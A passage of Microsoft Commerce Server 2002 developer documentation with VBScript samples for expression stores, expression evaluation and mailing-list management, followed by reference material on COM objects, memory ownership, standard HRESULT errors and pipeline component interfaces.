    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa file and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
%>

Other, optional properties may be set on the ContentSelector object as well. These properties depend on the components in the selection pipeline and their configuration. The most common optional properties include UserProfile, NumRequested, PageGroup, and Size.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Code to Connect to the Expression Store

A connection to the Expression Store can be made either directly through the Connect method of an ExpressionStore object or indirectly through the Connect method of an ExpressionEval object. The determining factor will be which operations need to be performed. Use an ExpressionStore object if expressions are to be created or manipulated. If evaluating existing expressions, use an ExpressionEval object. When connecting through an ExpressionStore object, use the Disconnect method to release the connection to the Expression Store. The ExpressionEval object automatically releases the connection to the Expression Store upon termination.

Connecting Using an ExpressionStore Object

Connecting Using an ExpressionEval Object

Connecting Using an ExpressionStore Object

  1. Retrieve the connection string to the Expression Store using a SiteConfigReadOnly object. Initialize the SiteConfigReadOnly object for the "Retail" site. This step should be performed in the Global.asa file and the resulting connection string cached in the Application collection or in a global dictionary for use in Active Server Pages (ASP).
    Dim sConn
Dim oSiteConfigReadOnly

Set oSiteConfigReadOnly = Server.CreateObject("Commerce.SiteConfigReadOnly")

oSiteConfigReadOnly.Initialize "Retail"

sConn = oSiteConfigReadOnly.Fields("Biz Data Service")_
.Value.Fields("s_BizDataStoreConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  2. Create the ExpressionStore object and store the connection string to the Expression Store.
    Dim oExpressionStore
Set oExpressionStore = Server.CreateObject("Commerce.ExpressionStore")

oExpressionStore.Connect sConn

Connecting Using an ExpressionEval Object

Connection through the use of an ExpressionEval object can be made by passing a reference to an existing ExpressionStore object or by passing an explicit connection string, in which case a new ExpressionStore object will be created.

  1. Create the ExpressionEval object. Note that the ProgID, ExpressionEvaluator, is different than the object name.
    Dim oExpressionEval
Set oExpressionEval = Server.CreateObject("Commerce.ExpressionEvaluator")
  2. Connect to the Expression Store.
    • Connect using the previous ExpressionStore object, oExpressionStore.
      oExpressionEval.Connect oExpressionStore

    • Connect using the previously obtained connection string, sConn.

      oExpressionEval.Connect sConn

      •

    3.


Code to Create an Evaluation Context

This section describes how to create an evaluation context (a Dictionary object) that contains the data for evaluating an expression against.

  1. Retrieve the two profiles, oUser1, a UserObject object, and oAddress1, an Address object, created in Code to Create a New Profile. For more information about retrieving the profiles, see Code to Retrieve a Profile.
  2. The properties of these profiles that are evaluated in the following sections are:
    oUser1.GeneralInfo.first_name = "Joe"
oAddress1.GeneralInfo.region_code = "WA"
  3. Create a Dictionary object and insert the two profiles.
    Dim dictProfiles
Set dictProfiles = Server.CreateObject("Commerce.Dictionary")

Set dictProfiles.User = oUser1
Set dictProfiles.Address = oAddress1


Code to Evaluate an Expression Stored as an XML Fragment

This section describes how to parse and evaluate an expression stored as an Extensible Markup Langauge (XML) fragment. An XML fragment is equivalent to the ExprBody field of the expression Recordset object. The XML fragment is first parsed for syntactic correctness. This is only performed at design-time since the EvalXML method also parses the fragment. If the expression parses correctly, it is then evaluated.

  1. Create an XML expression fragment. This expression will return True when evaluated against a context containing a UserObject object and an Address object, where the first_name property of the UserObject object = "Joe" AND the region_code of the Address object = "WA". In this example, the string representing the expression is not formatted properly for scripting with respect to quotation marks and continuation in order to increase readability.
    Dim strXMLExpression

sXMLExpression =
 "<TERM TYPE="and">
    <CLAUSE OPER="equal">
       <PROPERTY ID="UserObject.GeneralInfo.first_name" TYPE="string" />
       <IMMED-VAL TYPE="string">Joe</IMMED-VAL>
    </CLAUSE>
    <CLAUSE OPER="equal">
       <PROPERTY ID="Address.GeneralInfo.region_code" TYPE="string" />
       <IMMED-VAL TYPE="string">WA</IMMED-VAL>
    </CLAUSE>
  </TERM>"

  2. Create an ExpressionEval object and parse the string to determine if it represents a syntactically valid XML expression.
    Dim bResult
Dim oExpressionEval
Set oExpressionEval = CreateObject("Commerce.ExpressionEvaluator")

bResult = oExpressionEval.ParseXML(sXMLExpression)
The result, bResult, equals True since this fragment is syntactically valid.
  1. Evaluate the XML fragment against the data contained in the dictProfiles context created in Code to Create an Evaluation Context. The properties of interest in the dictProfiles context are:
    User.GeneralInfo.first_name = "Joe"
Address.GeneralInfo.region_code = "WA"

Dim vResult
vResult = oExpressionEval.EvalXML(sXMLExpression, dictProfiles)

Set oExpressionEval = Nothing
The result of evaluating the expression, vResult, is True.


Code to Create a New Expression

This section describes how to create a new expression.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, create an empty recordset to contain the new expression.
    Dim rsExpr
Set rsExpr = oExpressionStore.NewExpression()
  2. The returned recordset is an ADO hierarchical Recordset object. It contains one parent and two child Recordset objects, one child for profile dependencies and one child for expression dependencies. Populate the fields in the parent recordset. The string, sXMLExpression, used for the ExprBody field, is defined in Code to Evaluate an Expression Stored as an XML Fragment. No error checking is performed on the syntax of this string when the Recordset object is saved. Use the ParseXML method to verify the correct syntax before saving the recordset. If the expression is meant to appear as a target or catalog expression in the Campaign Expressions module in Commerce Server Business Desk, the Category field must be set to "CAMPAIGNS" or "CATALOG", respectively.
    rsExpr.Fields("ExprName").Value = "Expr_WA_Joe"
rsExpr.Fields("ExprBody").Value = sXMLExpression
rsExpr.Fields("Category").Value = "WA Users"
rsExpr.Fields("ExprDesc").Value = "Is the user from WA and named Joe?"
  3. Add and populate a new record in the profile dependencies child recordset for each profile the new expression depends on. At least one profile dependency is required to evaluate the expression against.
    Dim rsDeps
Set rsDeps = rsExpr.Fields("rsProfDeps").Value

rsDeps.AddNew
rsDeps.Fields("ProfDep").Value = "User"
rsDeps.AddNew
rsDeps.Fields("ProfDep").Value = "Address"
  4. Add and populate a new record in the expression dependencies child recordset for each expression the new expression depends on. An expression does not have to depend on other expressions; thus, this step is optional.
    Set rsDeps = rsExpr.Fields("rsExprDeps").Value

rsDeps.AddNew
rsDeps.Fields("ExprDep").Value = 123
  5. Save the expression in the Expression Store and release the Recordset objects.
    oExpressionStore.SaveExpression(rsExpr)

Set rsDeps = Nothing
Set rsExpr = Nothing


Code to Manipulate Expressions

When a new expression is saved to the Expression Store, a unique expression ID is created which is used to further access the expression. This section describes how to retrieve the expression ID using the name of the expression. Once the expression ID is retrieved, the expression is renamed, which is the only operation on the expression that is supported through the API. To further manipulate the expression, the corresponding recordset is retrieved and the description of the expression is changed. Finally, the expression is deleted from the Expression Store.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, translate the name of the expression, "Expr_WA_Joe", created in Code to Create a New Expression into its expression ID.
    Dim lExpressionID
lExpressionID = oExpressionStore.GetExprID("Expr_WA_Joe")
  2. Rename the expression to "Expr_2001.93".
    oExpressionStore.RenameExpression lExpressionID, "Expr_2001.93"
  3. Retrieve the recordset corresponding to the expression.
    Dim rsExpression
Set rsExpression = oExpressionStore.GetExpression(lExpressionID)
  4. Change the description of the expression.
    rsExpression.Fields("ExprDesc").Value = _
 "Is the user named Joe and from WA?"
  5. When finished using the expression, delete it. If the expression has a non-zero reference count (one or more other expressions depend on this expression), the method will fail and the expression will not be deleted.
    oExpressionStore.DeleteExpression lExpressionID, 0

Set rsExpression = Nothing


Code to Evaluate a Single Expression

A single expression may be evaluated either directly against a Dictionary object containing a set of profiles or indirectly against a stored evaluation context. For information about evaluating the expression against a stored context, see Code to Evaluate Groups of Expressions.

  1. Using the ExpressionEval object, oExpressionEval, created in Code to Connect to the Expression Store, load the expression created in Code to Create a New Expression into the Expression Cache. The expression ID, lExpressionID, for this expression was retrieved in Code to Manipulate Expressions. Loading the expression is optional. If you have not preloaded the expression, the Eval method will load the expression upon execution.
    oExpressionEval.LoadExpr lExpressionID
  2. Evaluate the expression against the data contained in the dictProfiles context created in Code to Create an Evaluation Context.
    Dim vResult
vResult = oExpressionEval.Eval(lExpressionID, dictProfiles)
The result of evaluating the expression, vResult, is True.


Code to Evaluate Groups of Expressions

If a group of expressions is to be evaluated against the same context, it is more efficient to create a stored evaluation context rather than iterating the expressions through the Eval method, which creates and destroys an evaluation context for each expression evaluated.

  1. Using the ExpressionEval object, oExpressionEval, created in Code to Connect to the Expression Store, create a stored evaluation context using the dictProfiles context created in Code to Create an Evaluation Context.
    Dim oEvaluationContext
Set oEvaluationContext = _
 oExpressionEval.CreateEvalContext(dictProfiles)
  2. Load all the expressions in the Expression Store into the Expression Cache, including the expression created in Code to Create a New Expression. This step is optional. Any expressions not preloaded will be loaded by the EvalInContext method when those expressions are evaluated. If you do not want to load all the expressions, you can load individual expressions using the LoadExpr method.
    oExpressionEval.LoadAll
  3. The expression ID, lExpressionID, for the expression created in Code to Create a New Expression, was retrieved in Code to Manipulate Expressions. Evaluate this expression against the evaluation context.
    Dim vResult
vResult = oExpressionEval.EvalInContext(lExpressionID, _
 oEvaluationContext)
The result of evaluating the expression, vResult, is True.
  1. Evaluate any other expressions using the same stored context, and then release the context.
    Set oEvaluationContext = Nothing


Code to Import and Export Expressions

This section describes how to import and export groups of expressions. An import file must contain the XML expression recordset schema followed by the XML representation of each expression recordset to be imported. The format of the exported file is the same. For information about expression structures in XML, see Expression XML Structures.

  1. Using the ExpressionStore object, oExpressionStore, created in Code to Connect to the Expression Store, import the expressions from the file Expressions.xml into the Expression Store. If the Expression Store is not empty, the method will fail.
    oExpressionStore.Import "Expressions.xml"
  2. Export the expressions contained in the Expression Store to the file Exported_Expressions.xml.
    oExpressionStore.Export "Exported_Expressions.xml"


Code to Initialize the ListManager Object

  1. Create a ListManager object.
    Dim oListManager
Set oListManager = CreateObject("Commerce.ListManager")
  2. Initialize the object.
    oListManager.Initialize "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'"


Code to Create a List

Lists can be created from a text file, an SQL query, an analysis report, or a Predictor resource segment. This section describes how to create a list named 'Users1' from a file named Users.csv. Once the list is created, the number of unique users imported into the list is retrieved.

  1. Create the Users.csv text file. A representative section of the file follows that contains the e-mail addresses and IDs for a group of users.
    joeuser@roguecellars.com,Newuser_R121
barneyuser@fabrikam.com,Olduser_F3
bettyuser@arborshoes.com,Newuser_A872
jackuser@vigorairlines.com,Olduser_V83
jilluser@microsoft.com,Olduser_M2901
  2. Use the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, to create a Mailable User list (userFlags = 20) from the text file.
    Dim vListID1, vOperationID
vListID1 = oListManager.CreateFromFile("Users1", "Just users", _
 20, 0, "D:\Users.csv", 0, True, vOperationID)
  3. Set the maximum time allowed for the list to be created to 10 minutes (600 seconds). If the list is not created in this time, the method will return an error.
    oListManager.WaitOnOperation vOperationID, 600
  4. When the creation operation finishes, retrieve the number of unique e-mail addresses imported.
    Dim rsOperationInfo, vOperationStatus, vUniqueUsers
Set rsOperationInfo = oListManager.GetOperationInfo(vOperationID)
vOperationStatus = rsOperationInfo("op_status")
If vOperationStatus = 0 Then
   vUniqueUsers = oListManager.GetListProperty(vListID1, _
     "list_unique_emails")
   Wscript.Echo "Number of unique users is " & vUniqueUsers & vbCrLf
ElseIf vOperationStatus = 1 Then
   Wscript.Echo "List still being created" & vbCrLf
ElseIf vOperationStatus = -1 Then
   Wscript.Echo "List creation failed" & vbCrLf
Else
   Wscript.Echo "Bad status code" & vbCrLf
End If
  5. Release the objects.
    Set oListManager = Nothing
Set rsOperationInfo = Nothing


Code to Manipulate Lists

  1. Using the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, create a new empty list named 'Users2'.
    Dim vListID2
vListID2 = oListManager.CreateEmpty("Users2", "More users", 20, 0)
  2. Copy the list, 'Users1', created in Code to Create a List, to the new list.
    oListManager.Copy "Users1", vListID2, False
  3. Delete three members from the 'Users2' list.
    oListManager.RemoveUserFromMailingList "Users2", _
 "barneyuser@fabrikam.com"

oListManager.RemoveUserFromMailingList "Users2", _
 "jackuser@vigorairlines.com"

oListManager.RemoveUserFromMailingList "Users2", _
 "jilluser@microsoft.com"
  4. Add two new users to the 'Users2' list.
    oListManager.AddUserToMailingList "Users2", _
 "janeuser@fabrikam.com", Newuser_F554

oListManager.AddUserToMailingList "Users2", _
 "freduser@vigorairlines.com", Newuser_V919
  5. Perform a union and a subtraction on the 'Users1' and 'Users2' lists. The lists holding the results of the union and subtraction operations must exist prior to running the methods. The results are shown in the following table.
    oListManager.CreateEmpty "Union", "Unique users", 20, 0
oListManager.CreateEmpty "Subtract", "Remaining users", 20, 0
oListManager.Union "Users1", "Users2", "Union", 0, False
oListManager.Subtract "Users1", "Users2", "Subtract", 0, False
    Users1 | Users2 | Union | Subtract
    joeuser@roguecellars.com | joeuser@roguecellars.com | joeuser@roguecellars.com | barneyuser@fabrikam.com
    barneyuser@fabrikam.com | bettyuser@arborshoes.com | barneyuser@fabrikam.com | jackuser@vigorairlines.com
    bettyuser@arborshoes.com | janeuser@fabrikam.com | bettyuser@arborshoes.com | jilluser@microsoft.com
    jackuser@vigorairlines.com | freduser@vigorairlines.com | jackuser@vigorairlines.com
    jilluser@microsoft.com | jilluser@arborshoes.com
    janeuser@fabrikam.com
    freduser@vigorairlines.com
  6. Export the Union list to a SQL Server database table named NewUsers, overwriting any previous data. Once the operation is complete, delete the list.
    sConnect = "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'"

oListManager.ExportToSQL "Union", sConnect, "NewUsers", True, 0, False

oListManager.Delete "Union"


Code to Enumerate Available Lists

This section describes how to enumerate the available lists and change the properties of one of the lists, such as the list name and description.

  1. Using the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, retrieve the Recordset object containing the lists.
    Dim rsLists
Set rsLists = oListManager.GetLists()
  2. Iterate through the list descriptions searching for the list described as Unique users. When found, change the name to UserFamily, change the description, and add some flags. Note that the recordset returned by the GetLists method is read-only.
    Dim vListID
While Not rsLists.EOF
   If rsLists("list_description") = "Unique users" Then
      vListID = rsLists("list_id")
      oListManager.SetListProperty vListID, "list_name", "UserFamily"
      oListManager.SetListProperty vListID, "list_description", _
       "Members of the User family"
      oListManager.SetListProperty vListID, "list_userflags", 255       Exit While
   rsLists.MoveNext
Wend


Alphabetic Listing of COM Objects

This list contains all of the COM objects available in Commerce Server 2002. The object reference pages and the associated code samples are grouped by functionality on COM Object Reference.

Visual Basic Reference | C++ Invocation | Description
AdminEventLog | AdminEventLog | Writes error, informational, warning, and success messages to the event log.
AdminFiles | AdminFiles | Provides read-only access to server-side binary and text files.
AdminSite | AdminSite | Provides read/write access to site configuration properties and allows site administration. This object is supplied for backward compatibility purposes only.
AdminWebServer | AdminWebServer | Allows enumeration of Web sites and their properties.
AppConfig | AppConfig | Allows retrieval of country, region codes, and names from the site configuration store.
AppFrameWork | AppFrameWork | Provides formatting and validation methods that simplify forms processing in Active Server Pages (ASP).
AsyncRpt2 | AsyncRpt2 | Provides asynchronous rendering and exporting of static reports.
Auction | Auction | Provides methods for supporting auctions.
AuthManager | AuthManager | Provides a secure, standardized, and extensible way to manage authentication of users.
BDSecurity | BDSecurity | Allows specific Commerce Server Business Desk modules to be hidden from particular users.
BusinessDataAdmin2 | BusinessDataAdmin2 | Imports and exports profile catalogs from the business data store.
CacheManager | CacheManager | Provides generic caching services.
CatalogManager | CatalogManager | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | CatalogSets | Allows filtering of multiple custom catalogs for different users and organizations.
CatalogSets2 | CatalogSets2 | Allows filtering of multiple custom catalogs for different users and organizations.
CatalogToVendorAssociation | CatalogToVendorAssociation | Allows a catalog to be associated with particular vendor.
Category | Category | Allows management of a product hierarchy within a particular catalog.
ContentList | ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
ContentSelector | ContentSelector | Allows specification and retrieval of page content.
DataFunctions | DataFunctions | Provides methods to perform locale-based data type handling and value range checking.
DBStorage | DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
Dictionary | Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
DictionaryXMLTransforms | DictionaryXMLTransforms | Transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
DTSCatalogImport | DTSCatalogImport | Imports catalog data into the Data Warehouse.
DTSDeleteImport | DTSDeleteImport | Deletes log file data and summarized data from the Data Warehouse.
DTSIPResolution | DTSIPResolution | Resolves Internet Protocol (IP) addresses from the imported user data.
DTSLogImport | DTSLogImport | Defines and imports Web log files into the Data Warehouse.
DTSPostImport | DTSPostImport | Populates OLAP cubes with the data that was imported, prepares the imported data for report generation, and refreshes the OLAP cubes after a deletion.
DTSSyncAdminData | DTSSyncAdminData | Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings.
DTSTransactionImport | DTSTransactionImport | Runs reports to analyze transaction data.
EuroDisplay | EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
ExpressionEval | ExpressionEval | Allows selection and evaluation of one or more expressions against a set of profiles.
ExpressionStore | ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ExprEvalContext | ExprEvalContext | Stores a specific evaluation context (set of profiles) that can be used for multiple expression evaluation operations.
ExprFltrQueryBldr | ExprFltrQueryBldr | Translates an expression in XML form into a SQL filter query string.
GenID | GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters which are persisted in a database.
GlobalConfig | GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
ListManager | ListManager | Provides methods to create, destroy, manage, and manipulate lists.
LRUCache | LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.
MessageManager | MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
MicroPipe | MicroPipe | Runs a single pipeline component from an ASP page without using a pipeline configuration file (.pcf).
MigrationLogObj | MigrationLogObj | Writes migration log data to the data store.
MigrationMainObj | MigrationMainObj | Coordinates migration from the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MigrationModifyObj | MigrationModifyObj | Changes data that has been read from the Site Server 3.0 Commerce Edition Membership Directory before it is migrated to the Commerce Server 2002 Profile data store.
MigrationReadObj | MigrationReadObj | Reads values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory, then sends them to the MigrationProfile object.
MigrationWriteObj | MigrationWriteObj | Writes the values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MtsPipeline | MtsPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | MtsTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline.
OrderForm | OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | OrderGroup | Allows management of complex orders, such as those containing items from different suppliers, and multiple shipments.
OrderGroupManager | OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
OrderPipeline | OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
Page | Page | Provides formatting and validation methods that simplify forms processing in ASP pages. This object is supplied for backward compatibility purposes only.
PooledPipeline | PooledPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | PooledTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
Product | Product | Allows manipulation of the relationships between a product variant and a product category.
ProductCatalog | ProductCatalog | Allows creation, deletion, and modification of catalog data.
ProfileObject | ProfileObject | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.
ReportRenderer | ReportRenderer | Provides synchronous rendering and exporting of static reports.
RowCollection | RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.
Shipping | Shipping | Creates shipping cost preview information.
ShippingMethodManager | ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations using the OrderGroup and OrderGroupManager objects.
SimpleList | SimpleList | Allows creation of an array of Variants that supports enumeration.
SiteConfig | SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | SiteConfigReadOnly | Provides methods to read global and site configuration values from the Administration database.
StandardSManager | StandardSManager | Facilitates the run time creation and retrieval of user IDs. This object is supplied for backward compatibility purposes only.


Managing COM Parameter Memory

This topic provides some high-level information about memory ownership issues as they pertain to parameters passed into and out of the properties and methods of Component Object Model (COM) objects.

Additional, more detailed information can be found at http://go.microsoft.com/fwlink/?LinkId=5161.

Parameter Direction Summary

The following general statements apply to the various types of non-scalar parameters, such as objects, and to strings, when passed into and out of the methods and properties of a COM object:

  • For [in] parameters, the caller allocates memory and is also responsible for freeing the memory after the call has returned.
  • For [out] parameters, the method or property allocates the memory and the caller is responsible for freeing the memory.
  • For [in, out] parameters, the caller allocates memory, the method or property can optionally deallocate and reallocate it, and the caller is finally responsible for deleting the memory.

Visual Basic

If you are programming in either Microsoft Visual Basic (VB) or Visual Basic Scripting Edition (VBScript), you need to remember that if a method or property returns an object and you assign a reference to that object to a variable, then you should set the variable to Nothing when you are done with it. For example:

' Assume object oCalledObject already exists.
Dim oRetObject
oCalledObject.GetAnObject(oRetObject)

' Do something with the returned object.
oRetObject.DoSomething

' Release the reference to the returned object.
Set oRetObject= Nothing

C++

If you are programming in C++, keep in mind the following issues:

  • When passing a string to a method (including get_ and put_ property methods), as a BSTR, you own the BSTR both before and after the call. If the object needs to remember the string, it will make a copy. Allocate and deallocate BSTRs from the special heap designed for that purpose, using the SysAllocString and SysFreeString family of functions.
  • When a string is returned from a method (including get_ and put_ property methods), using the BSTR pointer you provide, you now own the returned BSTR and are responsible for deallocating it using the SysFreeString family of functions. Note that the method allocated the BSTR and you are going to deallocate it.
  • Simple scalar types are passed by value, so there is nothing special to do with respect to their associated memory.
  • When a COM object (a pointer to one of its interfaces) is passed as a parameter to a method, the normal COM AddRef and Release mechanism is used to manage the lifetime of that object. The caller of the method should have called the AddRef method (perhaps indirectly) prior to the method call, and should call the Release method whenever it no longer needs to reference the object, presumably sometime after the method call has returned.

    If the object needs to retain a reference to the object beyond the return of the method call, it will call the AddRef method to record its ongoing reference. This way, even if the caller of the method calls the Release method after the method returns, the object will retain its reference and the object will not be deleted.

  • When a COM object (a pointer to one of its interfaces) is returned from a method, using the provided address of an interface pointer, the method will have called the AddRef method on behalf of the caller prior to returning. The caller need only worry about calling the Release method when they are finished with the object.
  • SAFEARRAYs need to be allocated using the special OLE allocators from the SafeArrayCreate family of routines that are provided for this purpose. For scriptable objects, the contents of the safe arrays need to be variants, not other scalars like BSTRs.
  • VARIANTs have special helper functions in the VariantInit/VariantClear family of functions to help with the handling and freeing of values.


Standard COM Errors

Many, but not all, of the properties and methods of the Commerce Server objects use standard Component Object Model (COM) HRESULT return values to communicate whether the operation was successful or not.

In C++, these values are the actual return values from the methods themselves (including property get_ and put_ methods). The program must explicitly perform error checking by examining these return values, or use some variation of structured error handling.

In Microsoft Visual Basic, and in Visual Basic Scripting Edition as used in Active Server Pages (ASP), these values are placed in the Number property of the global Err object. Error handling is either handled automatically, displaying a standard error dialog box, or explicitly by the program, checking the value of the Number property of the global Err object. The On Error Resume Next command disables automatic error handling, thereby enabling explicit error handling.

The following table shows the most common standard COM errors returned by the properties and methods of the Commerce Server objects.

Constant | Value (32-bit) | Description
S_OK | 00000000 | The standard return value used to communicate successful completion.
S_FALSE | 00000001 | An alternate success value, typically used to communicate successful, but non-standard completion. The precise meaning depends on the method or property in question.
E_UNEXPECTED | 8000FFFF | Catastrophic failure error.
E_NOTIMPL | 80004001 | Not implemented error.
E_OUTOFMEMORY | 8007000E | Out of memory error.
E_INVALIDARG | 80070057 | One or more arguments are not valid error.
E_NOINTERFACE | 80004002 | Interface not supported error.
E_POINTER | 80004003 | Pointer not valid error.
E_HANDLE | 80070006 | Handle not valid error.
E_ABORT | 80004004 | Operation aborted error.
E_FAIL | 80004005 | Unspecified error.
E_ACCESSDENIED | 80070005 | General access denied error.

Additional information may be available using the global Err object. In Visual Basic, the Description property of the Err object may contain a text description of the error.

In C++, call the API function GetErrorInfo to retrieve the most recently set IErrorInfo pointer in the current logical thread. The GetDescription method of that interface may return a text description of the error.


Interface Reference

Microsoft Commerce Server 2002 Enterprise Edition can be extended programmatically by building Component Object Model (COM) objects that support specific interfaces. This allows them to be called in a standard fashion. Such objects fall into the following two categories:

  1. Pipeline Components

    Pipeline components implement one or more specific interfaces, allowing them to be run in the context of Commerce Server pipelines, and to be configured and included in pipeline configurations through the Pipeline Editor. For more information about pipelines and their various uses within Commerce Server, see Working with Pipelines.

  2. Site Packager Components

    Commerce Server Site packager components implement the IPuP interface, allowing them to be invoked by Site Packager so that they can package and unpack custom data. Typically, this is configuration information for custom resources that store their data somewhere other than the Administration database (MSCS_Admin).

    For general information about the integration of custom resources, see Integrating Custom Resources.

    For more specific information about packaging and unpacking data stored somewhere other than the Administration database, see Packaging Other Data.

The generic persistence interfaces are a third category of standard COM interfaces that can be implemented by Commerce Server COM objects. Pipeline components often implement one or more of these interfaces. Some of these persistence interfaces are implemented by other COM objects supplied with Commerce Server. For example, the Dictionary object implements the IPersistXML interface, allowing the contents of a Dictionary object to be persisted as an XML-formatted string in a specific format. Conversely, the Dictionary object can also be initialized based on the contents of an XML-formatted string in a particular format.

This section provides more information about these interfaces so that they can be implemented by new COM objects of the relevant types.

This section contains:

  • Pipeline Component Interfaces. Describes the pipeline component interfaces through which a COM component can serve as a Commerce Server pipeline component.
  • Site Packager Interface. Describes the site packager interface through which a COM object can be told to package or unpack custom data.
  • Generic Persistence Interfaces. Describes the generic persistence interfaces through which a COM object can be told to save its data as an XML-formatted string, as a Dictionary object, or to a stream.


Pipeline Component Interfaces

Microsoft Commerce Server 2002 defines a set of Component Object Model (COM) interfaces known as pipeline interfaces. In addition, pipeline components often implement one or more generic persistence interfaces defined by Commerce Server, as well as the standard OLE interfaces ISpecifyPropertyPages and IPersistStreamInit.

Every pipeline component must support the IPipelineComponent interface. Without this interface, a Commerce Server pipeline will not be able to execute the component. The remaining interfaces are optional. They expose various types of functionality that allow new components to fit smoothly into the Commerce Server architecture.

The following table lists the required IPipelineComponent interface and the other optional interfaces.

Interface | Description
IPipelineComponent | Executes the component. This interface is required.
IPipelineComponentAdmin | Sets and retrieves the properties on a component using a Dictionary object. This interface is optional.
IPipelineComponentDescription | Uses a SAFEARRAY to identify the OrderForm object and PipeContext object elements that a component reads and writes. This interface is optional.
IPipelineComponentUI | Displays a dialog box for configuring a pipeline component. This interface is optional.
ISpecifyPipelineComponentUI | Determines the object that will be invoked through the IPipelineComponentUI interface to display the dialog box for the component. This interface is optional.
ISpecifyPropertyPages | Indicates that the object supports property pages. This is a standard OLE interface. This interface is optional.
IPersistStreamInit | Persists the data associated with an object to a stream. This is the form of persistence used in the Active Template Library (ATL) Pipeline Wizard. This is a standard OLE interface. This interface is optional.
IPersistDictionary | Persists the data associated with an object to a Dictionary object. This is a generic persistence interface defined by Commerce Server. This interface is optional.


IPipelineComponent Interface

All pipeline components must implement the IPipelineComponent interface, passing an OrderForm object interface pointer between each component. If a component returns an error, the pipeline may terminate execution and return an error to the caller.

The IPipelineComponent interface supports the following methods:

Method | Description
Execute | The entry point at which the pipeline begins executing the component.
EnableDesign | Sets the design mode on the component.

Remarks

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


IPipelineComponent::Execute Method

Use this method to execute a pipeline component.

Definition

HRESULT Execute(
..IDispatch* pDispOrder,
..IDispatch* pDispContext,
..long lFlags,
..long* plErrorLevel
);

Parameters

pDispOrder
[in] A pointer to the OrderForm object.
pDispContext
[in] A pointer to the Context object. This is a Dictionary object that contains pointers to the MessageManager object, Content object, and language information.
lFlags
[in] Reserved. This parameter should be zero (0).
plErrorLevel
[out, retval] A flag that indicates what level of errors is tolerated. See the Remarks section for information about the legal values for this parameter.

This error information is meant to supplement the HRESULT information that is returned. The pipeline maps errors returned from components (E_xxxx errors) to an error level of 2.

Remarks

The plErrorLevel parameter can be one of the following values:

Value | Meaning
1 | Success. No errors, component executed successfully.
2 | Warning. Basket or purchase errors for this operation.
3+ | Failure. Serious errors in execution of this component.

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

Return Values

The method returns an HRESULT value.

See Also

IPipelineComponent Interface


IPipelineComponent::EnableDesign Method

Use this method to prepare the component for execution in one of two modes: design mode or execution mode. In design mode, which is useful for running the Pipeline Editor, errors are more easily tolerated. Execution mode (the default) is analogous to production mode.

Definition

HRESULT EnableDesign(
  BOOL fEnable
);

Parameters

fEnable
[in] Indicates whether the component should be run in design mode (True) or execution mode (False).

Return Values

The method returns an HRESULT value.

Remarks

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

See Also

IPipelineComponent Interface


IPipelineComponentAdmin Interface

